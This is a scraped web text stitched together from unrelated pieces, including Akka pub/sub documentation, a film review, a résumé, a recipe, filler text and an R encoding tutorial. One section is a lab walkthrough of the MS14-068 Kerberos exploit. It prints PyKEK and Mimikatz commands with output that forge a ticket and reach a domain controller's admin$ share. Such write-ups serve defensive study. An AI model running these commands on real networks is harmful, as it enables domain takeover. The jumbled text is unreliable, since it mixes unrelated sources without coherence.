Distributed Publish Subscribe in Cluster
How do I send a message to an actor without knowing which node it is running on?
How do I send messages to all actors in the cluster that have registered interest in a named topic?
This pattern provides a mediator actor, akka.cluster.pubsub.DistributedPubSubMediator, that manages a registry of actor references and replicates the entries to peer actors among all cluster nodes or a group of nodes tagged with a specific role.
The DistributedPubSubMediator actor is supposed to be started on all nodes, or all nodes with specified role, in the cluster. The mediator can be started with the DistributedPubSub extension or as an ordinary actor.
The registry is eventually consistent, i.e. changes are not immediately visible at other nodes, but typically they will be fully replicated to all other nodes after a few seconds. Changes are only performed in the own part of the registry and those changes are versioned. Deltas are disseminated in a scalable way to other nodes with a gossip protocol.
Cluster members with status WeaklyUp, if that feature is enabled, will participate in Distributed Publish Subscribe, i.e. subscribers on nodes with WeaklyUp status will receive published messages if the publisher and subscriber are on same side of a network partition.
You can send messages via the mediator on any node to registered actors on any other node.
There a two different modes of message delivery, explained in the sections Publish and Send below.
Publish
This is the true pub/sub mode. A typical usage of this mode is a chat room in an instant messaging application.
Actors are registered to a named topic. This enables many subscribers on each node. The message will be delivered to all subscribers of the topic.
For efficiency the message is sent over the wire only once per node (that has a matching topic), and then delivered to all subscribers of the local topic representation.
You register actors to the local mediator with DistributedPubSubMediator.Subscribe. Successful Subscribe and Unsubscribe is acknowledged with DistributedPubSubMediator.SubscribeAck and DistributedPubSubMediator.UnsubscribeAck replies. The acknowledgment means that the subscription is registered, but it can still take some time until it is replicated to other nodes.
You publish messages by sending DistributedPubSubMediator.Publish message to the local mediator.
Actors are automatically removed from the registry when they are terminated, or you can explicitly remove entries with DistributedPubSubMediator.Unsubscribe.
An example of a subscriber actor:
public class Subscriber extends UntypedActor {
LoggingAdapter log = Logging.getLogger(getContext().system(), this);
public Subscriber() {
ActorRef mediator =
DistributedPubSub.get(getContext().system()).mediator();
// subscribe to the topic named "content"
mediator.tell(new DistributedPubSubMediator.Subscribe("content", getSelf()),
getSelf());
}
public void onReceive(Object msg) {
if (msg instanceof String)
log.info("Got: {}", msg);
else if (msg instanceof DistributedPubSubMediator.SubscribeAck)
log.info("subscribing");
else
unhandled(msg);
}
}
Subscriber actors can be started on several nodes in the cluster, and all will receive messages published to the "content" topic.
system.actorOf(Props.create(Subscriber.class), "subscriber1");
//another node
system.actorOf(Props.create(Subscriber.class), "subscriber2");
system.actorOf(Props.create(Subscriber.class), "subscriber3");
A simple actor that publishes to this "content" topic:
public class Publisher extends UntypedActor {
// activate the extension
ActorRef mediator =
DistributedPubSub.get(getContext().system()).mediator();
public void onReceive(Object msg) {
if (msg instanceof String) {
String in = (String) msg;
String out = in.toUpperCase();
mediator.tell(new DistributedPubSubMediator.Publish("content", out),
getSelf());
} else {
unhandled(msg);
}
}
}
It can publish messages to the topic from anywhere in the cluster:
//somewhere else
ActorRef publisher = system.actorOf(Props.create(Publisher.class), "publisher");
// after a while the subscriptions are replicated
publisher.tell("hello", null);
Topic Groups
Actors may also be subscribed to a named topic with a group id. If subscribing with a group id, each message published to a topic with the sendOneMessageToEachGroup flag set to true is delivered via the supplied RoutingLogic (default random) to one actor within each subscribing group.
If all the subscribed actors have the same group id, then this works just like Send and each message is only delivered to one subscriber.
If all the subscribed actors have different group names, then this works like normal Publish and each message is broadcasted to all subscribers.
Note
Note that if the group id is used it is part of the topic identifier. Messages published with sendOneMessageToEachGroup=false will not be delivered to subscribers that subscribed with a group id. Messages published with sendOneMessageToEachGroup=true will not be delivered to subscribers that subscribed without a group id.
Send
This is a point-to-point mode where each message is delivered to one destination, but you still does not have to know where the destination is located. A typical usage of this mode is private chat to one other user in an instant messaging application. It can also be used for distributing tasks to registered workers, like a cluster aware router where the routees dynamically can register themselves.
The message will be delivered to one recipient with a matching path, if any such exists in the registry. If several entries match the path because it has been registered on several nodes the message will be sent via the supplied RoutingLogic (default random) to one destination. The sender() of the message can specify that local affinity is preferred, i.e. the message is sent to an actor in the same local actor system as the used mediator actor, if any such exists, otherwise route to any other matching entry.
You register actors to the local mediator with DistributedPubSubMediator.Put. The ActorRef in Put must belong to the same local actor system as the mediator. The path without address information is the key to which you send messages. On each node there can only be one actor for a given path, since the path is unique within one local actor system.
You send messages by sending DistributedPubSubMediator.Send message to the local mediator with the path (without address information) of the destination actors.
Actors are automatically removed from the registry when they are terminated, or you can explicitly remove entries with DistributedPubSubMediator.Remove.
An example of a destination actor:
public class Destination extends UntypedActor {
LoggingAdapter log = Logging.getLogger(getContext().system(), this);
public Destination() {
ActorRef mediator =
DistributedPubSub.get(getContext().system()).mediator();
// register to the path
mediator.tell(new DistributedPubSubMediator.Put(getSelf()), getSelf());
}
public void onReceive(Object msg) {
if (msg instanceof String)
log.info("Got: {}", msg);
else if (msg instanceof DistributedPubSubMediator.SubscribeAck)
log.info("subscribing");
else
unhandled(msg);
}
}
Subscriber actors can be started on several nodes in the cluster, and all will receive messages published to the "content" topic.
system.actorOf(Props.create(Destination.class), "destination");
//another node
system.actorOf(Props.create(Destination.class), "destination");
A simple actor that publishes to this "content" topic:
public class Sender extends UntypedActor {
// activate the extension
ActorRef mediator =
DistributedPubSub.get(getContext().system()).mediator();
public void onReceive(Object msg) {
if (msg instanceof String) {
String in = (String) msg;
String out = in.toUpperCase();
boolean localAffinity = true;
mediator.tell(new DistributedPubSubMediator.Send("/user/destination", out,
localAffinity), getSelf());
} else {
unhandled(msg);
}
}
}
It can publish messages to the topic from anywhere in the cluster:
//somewhere else
ActorRef sender = system.actorOf(Props.create(Publisher.class), "sender");
// after a while the destinations are replicated
sender.tell("hello", null);
It is also possible to broadcast messages to the actors that have been registered with Put. Send DistributedPubSubMediator.SendToAll message to the local mediator and the wrapped message will then be delivered to all recipients with a matching path. Actors with the same path, without address information, can be registered on different nodes. On each node there can only be one such actor, since the path is unique within one local actor system.
Typical usage of this mode is to broadcast messages to all replicas with the same path, e.g. 3 actors on different nodes that all perform the same actions, for redundancy. You can also optionally specify a property (allButSelf) deciding if the message should be sent to a matching path on the self node or not.
DistributedPubSub Extension
In the example above the mediator is started and accessed with the akka.cluster.pubsub.DistributedPubSub extension. That is convenient and perfectly fine in most cases, but it can be good to know that it is possible to start the mediator actor as an ordinary actor and you can have several different mediators at the same time to be able to divide a large number of actors/topics to different mediators. For example you might want to use different cluster roles for different mediators.
The DistributedPubSub extension can be configured with the following properties:
# Settings for the DistributedPubSub extension
akka.cluster.pub-sub {
# Actor name of the mediator actor, /system/distributedPubSubMediator
name = distributedPubSubMediator
# Start the mediator on members tagged with this role.
# All members are used if undefined or empty.
role = ""
# The routing logic to use for 'Send'
# Possible values: random, round-robin, broadcast
routing-logic = random
# How often the DistributedPubSubMediator should send out gossip information
gossip-interval = 1s
# Removed entries are pruned after this duration
removed-time-to-live = 120s
# Maximum number of elements to transfer in one message when synchronizing the registries.
# Next chunk will be transferred in next round of gossip.
max-delta-elements = 3000
# The id of the dispatcher to use for DistributedPubSubMediator actors.
# If not specified default dispatcher is used.
# If specified you need to define the settings of the actual dispatcher.
use-dispatcher = ""
}
It is recommended to load the extension when the actor system is started by defining it in akka.extensions configuration property. Otherwise it will be activated when first used and then it takes a while for it to be populated.
akka.extensions = ["akka.cluster.pubsub.DistributedPubSub"]
Dependencies
To use Distributed Publish Subscribe you must add the following dependency in your project.
sbt:
"com.typesafe.akka" %% "akka-cluster-tools" % "2.4.11"
maven:
<dependency>
<groupId>com.typesafe.akka</groupId>
<artifactId>akka-cluster-tools_2.11</artifactId>
<version>2.4.11</version>
</dependency>
Contents


TARZAN AND THE LOST CITY A film review by Matt Williams
RATING: 1/2* out of * * * *
Though technically a sequel to Greystoke: The Legend of Tarzan, Tarzan and the Lost City boasts none of the same cast, and even less quality. It's a difficult task to make a Tarzan movie on the heels of the successful George of the Jungle, one that Tarzan and the Lost City just isn't quite up to.
The action picks up with Tarzan (Casper Van Dien) in London, about to come into his inheritance as Lord Greystoke, and preparing to wed the lovely Jane (Jane March). However, his bliss is interrupted by a mystical vision from his homeland which sends him (and Jane) packing back to Africa.
An evil poacher, Nigel Ravens (Steven Waddington), is on a quest. Certain artifacts (which he has plundered from the corpses of dead tribal chieftains...during their funerals, no less) point him to the lost city of Opar, the cradle of civilization. Tarzan is asked by an old friend, the tribal shaman Mugambi (Winston Ntshona), to prevent Ravens from reaching (and plundering) his goal.
One of the many problems that plague this movie is in this summons. Mugambi is given such godlike magical powers (from shapeshifting to even resurrection) that it is unlikely that he'd need the assistance of anyone so comparatively pathetic as Tarzan! Why doesn't he simply wave his magical hands and make those mean ol' poachers disappear?
Ahh...but then, this wouldn't be a Tarzan movie. (And I suppose a Mugambi movie is a tougher sell.) But, on the other hand, Van Dien doesn't make a particularly convincing Tarzan. True, he does have the Tarzan yell...but it sounds canned, as if someone had tape recorded a clip from the old movies. Van Dien merely places his hands by his mouth and the sound appears.
But then that's par for the course in a film filled with shoddy special effects. It's hard to imagine a giant snake that's even more fake-looking than the one in Anaconda, but somehow this film succeeds. But then, it looks right at home among the hideous gorilla suits, styrofoam boulders, and Power Ranger-quality magical warriors.
Tarzan and the Lost City was a film released with little fanfare, and deserves to remain that way. Tarzan devotees would be better served by waiting at least until next year's Tarzan cartoon by Disney, and leaving this one to the wild.
Copyright 1998 Matt Williams
- Matt Williams<EMAIL_ADDRESS>Reviewer for Cinematter: http://www.cinematter.com Home of over 500 reviews, and information on over 600 upcoming releases
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Example Header
Section One
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.
Section Two
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.
Section Three
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.
Primary Content Section
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a recurrent relationship between your thesis and the information in each paragraph.
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea. In other words, your paragraphs should remind your reader that there is a re
Important content
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea.
Not Vital
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea.
Not Vital
Before you can begin to determine what the composition of a particular paragraph will be, you must first decide on an argument and a working thesis statement for your paper. What is the most important idea that you are trying to convey to your reader? The information in each paragraph must be related to that idea.


tc_identity module¶
This module is part of the nmeta suite running on top of Ryu SDN controller to provide network identity and flow (traffic classification) metadata
-
class
tc_identity.
IdentityInspect
(_config)¶ Bases:
object
This class is instantiated by tc_policy.py (class: TrafficClassificationPolicy) and provides methods to ingest identity updates and query identities
-
arp_reply_in
(arped_ip, arped_mac, ctx)¶ Passed an IPv4 ARP reply MAC and IPv4 address and a context and add to relevant metadata
-
check_identity
(policy_attr, policy_value, pkt, ctx)¶ Passed an identity attribute, value and packet and return True or False based on whether or not the packet strongly correlates to the identity attribute/value
-
dhcp_in
(mac, ip, hostname, ctx)¶ Passed a MAC address, IP address, DHCP host name (from option 12), and a context and add to relevant metadata
-
dns_reply_in
(queries, answers, ctx)¶ Passed a DNS parameters and a context and add to relevant metadata
-
get_augmented_fm_table
(_flows)¶ Return the flow metadata table augmented with appropriate identity metadata
-
get_identity_nic_table
()¶ Return the Identity NIC table
-
get_identity_system_table
()¶ Return the Identity System table
-
ip4_in
(pkt)¶ Passed an IPv4 packet and update NIC identity table (if required) with the IPv4 address if the MAC address matches an entry
-
lldp_in
(pkt, dpid, inport)¶ Passed an lldp packet, a Data Path ID (dpid) and in port and update identity tables (if required) with this identity information
-
maintain_identity_tables
()¶ Deletes old entries from Identity NIC and System tables. This function is passed maximum age values and deletes any entries in the tables that have a time_last that is older than that when compared to current time
-
valid_id_ip_service
(ctx, ip, service)¶ Passed variables to look up a service in id_ip structure. Check that this service is valid (i.e. not stale) Return boolean
-


Process: ${process.name}
Description
${process.description}
Started
${process.startTimeFormatted} by ${process.requester}
Ended
${process.stopTimeFormatted}
Progress
${process.progressPercent}
Status
${process.status}
Report
View
Download (Excel)


Speleo
Search
Monitoring
Dashboard
Blockboard
Health
Utilities
Settings
Query
Analyze
About
Contact
Logged in as
demo
Index Settings
Select An Index
Cluster Settings
Index Operations
Select An Index
Refresh
Flush
Optimize
Clear Cache
Delete
Cluster Operations
Select A Node
Current Master
Entire Cluster
Shutdown


You can have all the text you like, even inline code
.
Sometimes it's very handy to expose your text and use 'asides' for remarks that shouldn't appear within the text.
And you can expose concepts, or lessons to be learned interactively, like below. This will not clutter your websheet and the learner may explore the concepts at will.
I am within a block-level element belonging to the generic
class, so I can be expanded and collapsed using the button.
My text
property determines the label on the button.
generic
class so we are automatically
grouped together.
And you can even nest these things!
I am initially expanded, because I also belong to the active
class.
You can have prettified code:
This is a line of code.
With another line following.
You can explain parts of the code.
This is a line of code.
With another line following.
And you can highlight code, or mark it as inserted or deleted.
This is a line of code.
With another line following.
It can go on (almost) forever.
When you ask the learner to perform a task, you can give hints, or even provide a solution.
This is also a hint.
Hints can contain code (or whatever else you like).
This is a line of code.
With another line following.
You can pose questions to the learner.
There can be different types of questions, and there can also be feedback.
There can be only a single correct answer to this question.
There can be multiple options that should be selected for this question.
Here's an open question.


I am Jiaxin Tang. I love learning, I love programming, I love data, I love sports, I love this world.
GPA: 4.0/4.0
Courses: Design by software, Product Design in ECE, Computer Engineering Fundamentals, Advanced data structures, Computational Tools for Data Science, Machine Learning, Data Mining, Deep Learning
GPA: 82/100
Main Courses: C++, Data structures, Computer fundamentals, Circuits, Signal processing, CommunicationsObtain images and preprocess (reshape, resize, normalize). Each image contains several proteins.
build CNN models (ResNet-50, InceptionResNetv2) to train the dataset, find specific protein types that each image contains.
Use python tools beautiful soup to scrape stock data from londonstockexchange.com.
Scraped data contains more than 2000 companies, each has 54 features.
Use three different datasets to analysis Owner-occupied rate in the city of Revere.
Combine the original features with features acquired by Zillow API, build machine learning models to predict if a building is owner-occupied or not.
Calculate Owner-occupied rate by neighborhood, help to determine the tax policy.
Datasets are from Kaggle,contains 9 types of cancer with corresponding descriptions (clinical text).
Use NLP models (Word2Vec, Doc2Vec) to preprocess text, apply ML models (Randomforest, Xgboost) for classification and compare the results.
Build website that can store uploaded text files, show the classification results.
Use matlab to preprocess the ECG dataset, implement standardization and feature selection.
Make modifications to clustering algorithms in matlab by obtain clustering center through fuzzy clustering at first. increasing the stability and effectiveness of clustering results.
I enjoy most of my time exercising. I play basketball and soccer a lot, used to be the vice-captain of undergraduate college soccer team. Bicycle riding, Swimming, skiing are also my hobbies
I love traveling, feeling the atmosphere and exploiting a city, or a place that I've never been to.
I also like Go. The match between AlphaGo and Go word championship raised my interest in AI and machine learning Area.


OPC UA PubSub Example
Monitored Variable:
Received Value:
Timestamp:
[No canvas support]
[No canvas support]


This directory contains scripts that:
enable migrating to the new podcaster
automatically connect Shows with Channels by setting podcast_channel_id field in the show table
test the new podcaster's API (audio file creation, xml file creation)
time to migrate the podcasts!
then execute the following scripts by clicking on them (in order!)
1) ensure all database migrations are run successfully
3) Run Connect Shows with Channels. To auto-connect many shows to their channels Observe the output, because not all will work, and the rest have to be done manually
4) import old playlists . (probably already done)
5) run connect playlists with episodes.
more tba...
revert steps:
truncate podcast_episodes, podcast_channels
delete podcast_channel_id in every show
delete episode_id in every playlist


say something details,say something details say something details say something detailssay something detailssay something detailssay something detailssay something details


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 4
Spice up this classic Thai dish with deep-fried hake (or other white fish) in a spicy sauce.
For the Singapore deep-fried hake, heat the oil in a deep, heavy-based pan until a breadcrumb sizzles and turns brown when dropped in it. (CAUTION: hot oil can be dangerous. Do not leave unattended.)
Season the hake with a little salt and freshly ground black pepper.
Mix the flour, cornflour and a pinch of salt together in a bowl. Whisk in enough sparkling water to form a smooth batter (you may not need all of the water).
Dip the hake into the batter and carefully lower into the hot oil. Fry for 2-3 minutes on each side, or until crisp and golden-brown. Remove from the pan and set aside to drain on kitchen paper.
Heat a wok until hot, add the groundnut oil, garlic, ginger and chillies and stir-fry for one minute. Add the tomato ketchup, sweet chilli, hoisin sauce, fish sauce, water and sugar and bring the mixture to the boil.
Reduce the heat and simmer for 2-3 minutes. Add the hake and coriander and stir until well combined.
For the pad Thai noodles, heat a wok until hot. Add the groundnut oil, garlic, ginger and shallot and stir-fry for one minute.
Stir in the fish sauce, tamarind paste and soy sauce and bring the mixture to a simmer. Add the noodles and stir-fry until warmed through, then add the beansprouts and cook for a further minute.
Push the noodle mixture to one side of the wok, add the egg to the empty side and cook it for 30 seconds. Stir the egg into the noodle mixture and season, to taste, with the white pepper. Stir in the coriander.
To serve, spoon the pad Thai onto serving plates and sprinkle over some of the chopped peanuts. Spoon the Singapore deep-fried hake alongside.


Sign In To Continue
User ID:
Valid.
Please enter valid User ID
Password:
Valid.
Please enter valid Password
Show Password
Log In
Don't have an account?
Register Now!
Contact Us!
Terms and conditions
Privacy Policy


The POC is also in MetaSploit.
Here are the full packet captures:
Stage 1 – Using PyKEK to inject a forged PAC into a valid TGT: ADSecurityOrg-MS14068-Exploit-KRBPackets
Stage 2 – Using Mimikatz to leverage the forged TGT into the user session & connect to the unpatched Domain Controller’s admin$ share: ADSecurityOrg-MS14068-Exploit-KRBPackets-TGTInjection-And-DC-AdminShare-Access
Stage 1 Attack Packets: PyKEK requests and modifies a TGT
The Python script performs a TGT request (Kerberos Authentication Service Request aka AS-REQ) and instead of requesting a TGT with a PAC (default AS-REQ), PyKEK requests a TGT with no PAC from the Domain Controller.
Once the script receives the valid TGT without a PAC from the DC, the script generates a PAC (with the group membership listed above) packages it in encrypted authorization data as part of a TGS request to the DC (Kerberos Ticket Granting Service Request aka TGS-REQ) to obtain another TGT (a new one with the PyKEK generated PAC).
“The vulnerable KDC will verify it with MD5 and give you another TGT with a PAC in it”.
This is the TGT that PyKEK saves to the ccache file used for stage 2.
Since PyKEK communicates with the Domain Controller for valid TGTs, the TGT is a valid ticket (other than the forged PAC it includes). To summarize, there are two TGTs involved in the process: the original one without a PAC as a result of the first AS-REQ and a second one the DC delivers in the TGS-REP with the PyKEK generated PAC.
NOTE: The TGT is technically not modified by PyKEK since it is encrypted by the KDC account (KRBTGT). The process the script uses results in a valid TGT with the PAC PyKEK created that is accepted by an unpatched DC. The genius part of this is that PyKEK uses the Kerberos AS & TGS exchanges to forge a PAC and have the DC place it into a new user TGT. Then when the TGT is presented later on in Stage 2 for a valid TGS, the PAC is accepted and its values carried on into the new TGS for a Kerberos service in AD.
c:\Temp\pykek> ms14-068.py -u<EMAIL_ADDRESS>-p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Building TGS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending TGS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Creating ccache file<EMAIL_ADDRESS>Done!
Stage 2 Attack Packets: Using Mimikatz to leverage the forged TGT & connect to DC Admin$ Share:
This stage leverages Mimikatz to clear the existing Kerberos tickets in memory for the current user and places the TGT created in Stage 1 into memory for use.
At this point, the user can connect to the unpatched DC with full admin credentials. The act of attempting to connect to the Admin$ share on the DC generates a TGS-REQ and resulting TGS-REP (with a KRB-ERR mixed in for spice).
c:\Temp\pykek> c:\temp\mimikatz\mimikatz.exe “kerberos::ptc<EMAIL_ADDRESS>exit
.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (Nov 20 2014 01:35:45)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi`<EMAIL_ADDRESS>)
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 15 modules * * */
mimikatz(commandline) # kerberos::ptc<EMAIL_ADDRESS>Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 – rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket : 0x00000000 – null ; kvno = 2 […]
* Injecting ticket : OK
mimikatz(commandline) # exit
Bye!
c:\Temp\pykek> net use \\adsdc02.lab.adsecurity.org\admin$
From here, the user has a valid TGS for the CIFS service on the DC and can use it to access the admin$ share via SMB.


Special Elite was created to mimic the Smith Corona Special Elite Type No NR6 and Remington Noiseless typewriter models.
A little bit of inked up grunge and a little old school analog flavor work together to give you a vintage typewriter typeface for your website and designs.


Given a point, distance, and azimuth (bearing) calculate the location of a new point.
For geographic coordinate systems the Vincenty's direct problem formula and coordinate system's ellipsoid is used. Latitude and Longitude coordinates, can be entered as either Degrees, Minutes, and Seconds (DMS) or Decimal degrees. DMS can be in any of the formats 9:9:9.999, 9°9'9.9", or 9 9 9.9.
For projected coordinate systems the Pythagorean trigonometric identity formula are used.


"I believe that Bodhidharma's intention was simply to help the monks at the Shaolin Monastery to achieve Enlightenment. He was a Zen patriarch. He lived for the present moment, not in the past nor the future. Although he had the "wisdom eye" to see that his Zen teaching, i.e. teaching monks to attain Enlightenment, would one day branch into five Zen schools, which it did, he never planned it.
The development was natural. Although Bodhidharma, as a crown prince, was a great martial artist himself, he did not teach kungfu at the Shaolin Monastery. Shaolin kungfu and chi kung later evolved from the Eighteen Lohan Hands and Sinew Metamorphosis which was originally taught by him for spiritual cultivation.
Though he did not actively engineer it, with his "wisdom eye" he would have realized that his teaching would evolve and be built upon, and that the Shaolin Legacy would benefit posterity. Indeed that was what his own teacher had told him to do, resulting in his voluntarily and gladly renouncing his kingship to spread his teaching to the East.
Thank you for your compliments on me spreading Bodhidharma's teaching. Although our school Shaolin Wahnam, has spread to many countries in all the six continent, our expansion was due to meeting expedient needs, and not due to prior planning.
Seeing the real possibility of genuine Shaolin Kungfu being lost to posterity, my original intention of establishing Shaolin Wahnam was to preserve it and teach it to deserving students irrespective or race, culture and religion.
Then, seeing that many sick people could have recovered from their illness if they could practice Shaolin chi kung but they did not have the opportunity because Shaolin chi kung at that time was taught only to advanced Shaolin kungfu practitioners, I broke tradition and taught Shaolin chi kung to the public. Later when some disciples had convinced me that we should also preserve genuine Taijiquan, we included it in our Shaolin Wahnam repertoire.
Like the great Bodhidharma before us and drawing inspiration from him, although we did not actively plan it to happen, we can foresee that our Shaolin Wahanm legacy will be preserved for and benefit posterity. But we operate at a much lower level than what Bodhidharma did.
Bodhidharma taught monks, i.e. those who voluntarily renounced worldly affairs to cultivate for the highest spiritual attainment, to achieve Enlightenment. We teach lay people how to be healthy and happy in the phenomenal world."
- Sifu Wong Kiew Kit


Imagine that you are a reporter on extra-terrestrial matters trying to learn things about life outside our galaxy. The aliens on other planets have a different culture and a different language, so you may encounter words that you have never heard of in English -- Don't worry about that, because we are more interested in how you understand the situations.
You are travelling to different planets far away from the Earth, where you will interview an alien resident. In this task, you'll be asked to evaluate new, hypothetical information that you may learn about your interview subject, given what you had previously learned about the aliens on their planet.
Suppose you were to learn this new information, how surprising would you find it, given what you learned? Provide a rating on a scale from 0 to 100, with 0 being not surprised at all, 50 being somewhat surprised, and 100 being totally surprised.
We will begin with a quick training. When you are ready, click below to proceed.


Before we can analyze a text in R, we first need to get its digital representation, a sequence of ones and zeros. In practice this works by first choosing an encoding for the text that assigns each character a numerical value, and then translating the sequence of characters in the text to the corresponding sequence of numbers specified by the encoding. Today, most new text is encoded according to the Unicode standard, specifically the 8-bit block Unicode Transfer Format, UTF-8. Joel Spolsky gives a good overview of the situation in an essay from 2003.
The software community has mostly moved to UTF-8 as a standard for text storage and interchange, but there is still a large volume of text in other encodings. Whenever you read a text file into R, you need to specify the encoding. If you don’t, R will try to guess the encoding, and if it guesses incorrectly, it will wrongly interpret the sequence of ones and zeros.
We will demonstrate the difficulties of encodings with the text of Jane Austen’s novel, Mansfield Park provided by Project Gutenberg. We will download the text, then read in the lines of the novel.
# download the zipped text from a Project Gutenberg mirror
url <- "http://mirror.csclub.uwaterloo.ca/gutenberg/1/4/141/141.zip"
tmp <- tempfile()
download.file(url, tmp)
# read the text from the zip file
con <- unz(tmp, "141.txt", encoding = "UTF-8")
lines <- readLines(con)
close(con)
The unz
function and other similar file connection functions have encoding
arguments which, if left unspecified default to assuming that text is encoded in your operating system’s native encoding. To ensure consistent behavior across all platforms (Mac, Windows, and Linux), you should set this option explicitly. Here, we set encoding = "UTF-8"
. This is a reasonable default, but it is not always appropriate. In general, you should determine the appropriate encoding
value by looking at the file. Unfortunately, the file extension ".txt"
is not informative, and could correspond to any encoding. However, if we read the first few lines of the file, we see the following:
lines[11:20]
[1] "Author: Jane Austen"
[2] ""
[3] "Release Date: June, 1994 [Etext #141]"
[4] "Posting Date: February 11, 2015"
[5] ""
[6] "Language: English"
[7] ""
[8] "Character set encoding: ASCII"
[9] ""
[10] "*** START OF THIS PROJECT GUTENBERG EBOOK MANSFIELD PARK ***"
The character set encoding is reported as ASCII, which is a subset of UTF-8. So, we should be in good shape.
Unfortunately, we run into trouble as soon as we try to process the text:
term_stats(lines) # produces an error
Error in term_stats(lines) :
argument entry 15252 is marked as "UTF-8" but contains an invalid byte in position 36 (\xa3)
The error message tells us that line 15252 contains an invalid byte.
lines[15252]
[1] "the command of her beauty, and her \xa320,000, any one who could satisfy the"
We might wonder if there are other lines with invalid data. We can find all such lines using the utf8_valid
function:
lines[!utf8_valid(lines)]
[1] "the command of her beauty, and her \xa320,000, any one who could satisfy the"
So, there are no other invalid lines.
The offending byte in line 15252 is displayed as \xa3
, an escape code for hexadecimal value 0xa3, decimal value 163. To understand why this is invalid, we need to learn more about UTF-8 encoding.
The smallest unit of data transfer on modern computers is the byte, a sequence of eight ones and zeros that can encode a number between 0 and 255 (hexadecimal 0x00 and 0xff). In the earliest character encodings, the numbers from 0 to 127 (hexadecimal 0x00 to 0x7f) were standardized in an encoding known as ASCII, the American Standard Code for Information Interchange. Here are the characters corresponding to these codes:
codes <- matrix(0:127, 8, 16, byrow = TRUE,
dimnames = list(0:7, c(0:9, letters[1:6])))
ascii <- apply(codes, c(1, 2), intToUtf8)
# replace control codes with ""
ascii["0", c(0:6, "e", "f")] <- ""
ascii["1",] <- ""
ascii["7", "f"] <- ""
utf8_print(ascii, quote = FALSE)
0 1 2 3 4 5 6 7 8 9 a b c d e f
0 \a \b \t \n \v \f \r
1
2 ! " # $ % & ' ( ) * + , - . /
3 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
4 @ A B C D E F G H I J K L M N O
5 P Q R S T U V W X Y Z [ \ ] ^ _
6 ` a b c d e f g h i j k l m n o
7 p q r s t u v w x y z { | } ~
The first 32 codes (the first two rows of the table) are special control codes, the most common of which, 0x0a
denotes a new line (\n
). The special code 0x00
often denotes the end of the input, and R does not allow this value in character strings. Code 0x7f
corresponds to a “delete” control.
When you call utf8_print
, it uses the low level utf8_encode
subroutine format control codes; they format as \uXXXX
for four hexadecimal digits XXXX
or as \UXXXXYYYY
for eight hexadecimal digits XXXXYYYY
:
utf8_print(intToUtf8(1:0x0f), quote = FALSE)
[1] \u0001\u0002\u0003\u0004\u0005\u0006\a\b\t\n\v\f\r\u000e\u000f
Compare utf8_print
output with the output with the base R print function:
print(intToUtf8(1:0x0f), quote = FALSE)
